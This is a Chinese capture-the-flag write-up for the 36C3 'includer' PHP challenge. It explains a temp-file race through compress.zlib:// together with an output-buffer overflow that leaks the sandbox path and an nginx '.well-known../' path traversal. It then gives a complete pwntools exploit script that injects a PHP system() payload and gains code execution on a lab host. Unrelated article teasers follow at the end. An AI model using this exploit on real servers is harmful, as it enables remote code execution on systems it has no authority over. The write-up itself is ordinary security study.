ctf-36C3解析

一、环境

unbentu

这道题给了docker环境,gethub上面自己找

一个好用的linux全局切换梯子proxychains

二、开始解析

2.1初始

 2.2编译

docker build .

 2.3代理设置完毕

我试了一下代理还是不行,我们换源尝试一下

RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
    sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list

 

之后便可正常部署了

docker build -t includer .

 搞定

运行一下镜像

docker run -itd -p 8004:80 loadbalance-jsp_lbsnode1

 生成

搭建完成之后运行在web界面显示是以下则搭建成功

 那分析一下代码吧,使用vs code进行远程的连接

代码还是比较简单的

 先是语言模式,然后生成32位随机字符转成16进制,执行完以后读文件看文件中是否有<?,如果有直接给删除掉,那我们思路就很清晰了包含file

之后去读取,我们肯定想包含底下这个但是因为有<?

<?php system("/readflag")

那我们就可以思考一个问题,可不可以生成一个临时文件,临时文件可不可以竞争

意思也就是我们一开始传一个正常的文件,之后传一个带一句话木马的文件,如果可以竞争的话在php代码还没有判断之前,第二个文件会对第一个文件进行覆盖

三、理论形成,实践开始

我们需要fswatch去监控,这个gethub上面直接安装,安装地址是是

Release fswatch v. 1.17.1 · emcrisostomo/fswatch · GitHub

之后打开kill使用BurpSuite

但是这种情况我测试,测试不成功,只能使用底下的python去测试 

小结一下吧,不然上面显的乱

如果PHP_STREAM_PREFER_STDIO已设置,则会调用php_stream_fopen_tmpfile()创建临时文件。

所以我们现在可以创建具有任意内容的临时文件。

我们的目标很明显:

  1. 用于compress.zlib://http://myserver上传一些垃圾,但不要关闭连接

  2. 用于.well-known../files/xxxxxxxxxxx/列出我们的临时文件名(xxxxxxxxxxx 是目录名)

  3. 用于file_get_contents与另一个会话读取临时文件

  4. 因为临时文件不包含<?,所以它会通过检查

  5. 从之前的连接发送我们的 php 代码

  6. 将临时文件包含在我们的 php 代码中

因为我们需要在file_get_contents()和之间发送 php 代码include(),所以我们应该竞争它!(步骤3~步骤6)

还有一个问题,我们需要在步骤1中获取目录名,但是无法关闭连接。

为了解决这个问题,我们使用 来$_POST['name']填充 php 输出缓冲区。

然后我们将看到随机目录名称而不关闭连接。

四、总结

所以整个流程我们可以总结为以下:

1.利用compress.zlib://http://或者compress.zlib://ftp://来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件

2.利用超长的 name 溢出 output buffer 得到 sandbox 路径

3.利用 Nginx 配置错误,通过.well-known../files/sandbox/来获取我们 tmp 文件的文件名

Nginx配置错误:Vulhub - Docker-Compose file for vulnerability environment

目录穿越:

4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码

5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

整个题目的关键点主要是以下几点:

要利用大文件或ftp速度限制让连接保持

传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径

tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行

.well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

五、python代码

exp for 36c3 includer (github.com)

导入系统然后跑程序,但是它的代码引用后有问题,我进行了简单的修改后即可包含成功

import requests
from pwn import *

for i in range(100):

    r=remote("192.168.170.145",8004)
    l=listen(9090)
    # get filename
    data = """name={}&file=compress.zlib://http://192.168.170.145:9090""".format("a" * 8050)#这里要选择合适的长度来溢出
    payload = """POST / HTTP/1.1
Host: 192.168.170.145:8004
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}""".format(len(data), data).replace("\n", "\r\n").encode()
    r.send(payload)
    try:
        r.recvuntil("your sandbox: ".encode())
    except EOFError:
        print("[ERROR]"+"EOFError")
        r.close()
        continue
    dirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'
    print("[DEBUG]:dirname:"+dirname)

    c=l.wait_for_connection()
    # send trash 来让临时文件存活更久
    trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

{}'''.format('A' * 5000000).replace("\n", "\r\n").encode() # 要控制垃圾数据的大小
    c.send(trash)
    url="http://192.168.170.145:8004/.well-known../"+dirname
    print(url)
    res1=requests.get(url=url)
    try:
        tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]
        print("[DEBUG]:" + tmpname)
    except IndexError:
        print("i will close")
        l.close()
        r.close()
        print("[ERROR]: IndexErorr")
        continue
    
    def job():
        time.sleep(0.02)
        phpcode = 'wtf<?php system("/readflag");?>'
        c.send(phpcode)
    t = threading.Thread(target = job)
    t.start()

    exp_filename=dirname+tmpname
    print("[DEBUG]:"+exp_filename)
    res2=requests.post("http://192.168.170.145:8004/",data={"file":exp_filename})
    print(res2.text,res2.status_code)
    if "wtf" in res2.text:
        break
    l.close()
    r.close()
    c.close()

 自然包含成功

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/498979.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MYSQL数字函数实操宝典:场景化SQL语句一网打尽

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》《MYSQL应用》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;坚持默默的做事。 MYSQL数字函数&#xff1a;不可不知的数据处理利器 文章目录 Part 1: 准备 &#x…

基于STM32C8T6的智能蓝牙小车控制设计

**单片机设计介绍&#xff0c;基于STM32C8T6的智能蓝牙小车控制设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于STM32C8T6的智能蓝牙小车控制设计是一个综合了硬件与软件设计的项目&#xff0c;旨在实现小车的智能控制、…

如何使用固定公网地址远程连接Python编译器并将运行结果返回到Pycharm

文章目录 一、前期准备1. 检查IDE版本是否支持2. 服务器需要开通SSH服务 二、Pycharm本地链接服务器测试1. 配置服务器python解释器 三、使用内网穿透实现异地链接服务器开发1. 服务器安装Cpolar2. 创建远程连接公网地址 四、使用固定TCP地址远程开发 本文主要介绍如何使用Pych…

K8S Pod状态为“被驱逐(evicted)”的解决方法

文章目录 驱逐原因问题复现解决方案 在Kubernetes中&#xff0c;pod是最小的调度单元。当Pod无法在所分配的节点上正常运行时&#xff0c;它可能会被驱逐(evicted)。这种情况可能是由多种原因引起&#xff0c;比如节点资源不足、Pod超出了所分配的资源限制、镜像拉取失败等。 …

哈希表(hash_table) 哈希存储 算法相关知识 稳定性 时间复杂度

哈希存储(散列存储) 为了快速定位数据 哈希表 哈希冲突 / 哈希矛盾 关键字不一样&#xff0c;但是映射之后结果一样 如何避免 哈希矛盾&#xff1f; 1、重新设计哈希函数&#xff0c;尽可能均匀散列分布在哈希表 2、开放定址法&#xff1a;向下寻找未存储的位置进行存放数…

《Invariant Feature Learning for Generalized Long-Tailed Classification》阅读笔记

论文标题 《Invariant Feature Learning for Generalized Long-Tailed Classification》 广义长尾分类的不变特征学习 作者 Kaihua Tang、Mingyuan Tao、Jiaxin Qi、Zhenguang Liu 和 Hanwang Zhang 来自南洋理工大学、阿里达摩院和浙江大学 初读 摘要 属性不平衡&#…

基于 FFmpeg 和 SDL 的音视频同步播放器

基于 FFmpeg 和 SDL 的音视频同步播放器 基于 FFmpeg 和 SDL 的音视频同步播放器前置知识音视频同步简介复习DTS、PTS和时间基 程序框架主线程解复用线程音频解码播放线程视频解码播放线程 音视频同步逻辑源程序结果工程文件下载参考链接 基于 FFmpeg 和 SDL 的音视频同步播放器…

vue 元素拖动,复制,已复制元素可移动,快捷方便,已解决

注意&#xff1a;使用当前组件时&#xff0c;请先了解组件代码逻辑 下方组件根据自己的需求来更改响应的元素id&#xff0c;调整代码实现逻辑&#xff0c;这里不过多解释 import Vue from "vue";/*** 拖拽*/ Vue.directive("Drag", (el) > {const move…

MySQL---函数

目录 一、概述 二、字符串函数 三、数值函数 四、日期函数 五、流程函数 一、概述 函数 是指一段可以直接被另一段程序调用的程序或代码。 也就意味着&#xff0c;这一段程序或代码在MySQL 中 已经给我们提供了&#xff0c;我们要做的就是在合适的业务场景调用对应的函数完…

课堂练习:环境体验——Linux 文件操作命令

任务描述 第二个任务就是了解Linxu的文件查看命令&#xff0c;文件编辑基本命令。 相关知识 为了完成本关任务&#xff0c;你需要掌握&#xff1a; 1.文件查看命令。 2.文件编辑基本命令。 文件查看命令 我们要查看一些文本文件的内容时&#xff0c;要使用文本编辑器来查看…

vue3+ts白屏问题解决

文章目录 打开白屏解决方法可能出现问题使用base导致的使用baseUrl导致的 注意点vue3ts白屏问题知识分享 打开白屏 解决方法 在vue.config.js页面 添加publicPath:./, const { defineConfig } require(vue/cli-service)module.exports defineConfig({ transpileDependenci…

MATLAB:优化与规划问题

一、线性规划 % 线性规划&#xff08;Linear programming, 简称LP&#xff09; fcoff -[75 120 90 105]; % 目标函数系数向量 A [9 4 7 54 5 6 105 10 8 53 8 9 77 6 4 8]; % 约束不等式系数矩阵 b [3600 2900 3000 2800 2200]; % 约束不等式右端向量 Aeq []; % 约束等式系…

搭建本地局域网域名并配置本地的mqtt服务器

1. 第一步&#xff1a; 首先准备一台windows电脑&#xff0c;安装 Technitium DNS Server 链接如下&#xff1a; Technitium DNS Server | An Open Source DNS Server For Privacy & Security 启动 start 然后进入 http://localhost:5380/ 下载完成之后&#xff0c;需要…

数字三角形 Number Triangles

题目描述 观察下面的数字金字塔。 写一个程序来查找从最高点到底部任意处结束的路径&#xff0c;使路径经过数字的和最大。每一步可以走到左下方的点也可以到达右下方的点。 在上面的样例中&#xff0c;从 7 → 3 → 8 → 7 → 5 7 \to 3 \to 8 \to 7 \to 5 7→3→8→7→5 的…

【JAVAEE学习】探究Java中多线程的使用和重点及考点

˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN 如…

vue 内嵌第三方网页

需要将另一个系统嵌套到当前网页中 一、frame 方法一就是通过html的标签 iframe 实现网页中嵌入其他网站 标签属性 属性含义src嵌套的网页地址width设置嵌套网页的宽度&#xff0c;单位为像素height设置嵌套网页的高度&#xff0c;单位为像素frameborder控制嵌套的网页是否…

【CC工具箱1.2.5】更新_免费无套路,70+个工具

CC工具箱目前已经更新到1.2.5版本&#xff0c;完全免费无套路。 适用版本ArcGIS Pro 3.0及以上。 欢迎大家使用&#xff0c;反馈bug&#xff0c;以及提出需求和意见&#xff0c;时间和能力允许的话我会尽量满足要求。 如有关于工具的使用问题和需求建议&#xff0c;可以加下…

使用unplugin-auto-import页面不引入api飘红

解决方案&#xff1a;. tsconfig.json文件夹加上 {"compilerOptions": {"target": "ES2020","useDefineForClassFields": true,"module": "ESNext","lib": ["ES2020", "DOM", &q…

使用Python进行微服务架构的设计与实现【第159篇—微服务架构】

&#x1f47d;发现宝藏 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 使用Python进行微服务架构的设计与实现 在当今软件开发领域中&#xff0c;微服务架构已经成…

结构体,联合体,枚举( 1 )

目录 前言 1.结构体 1.1结构体的声明 1.2结构体变量的创建和初始化 1.3结构体成员的访问字符 1.4结构体的内存大小 1.4.1对齐规则 1.5结构体传参 前言 在编程的世界里&#xff0c;数据结构的选择对于程序的效率和可读性有着至关重要的影响。不同的数据结构适用于不同的…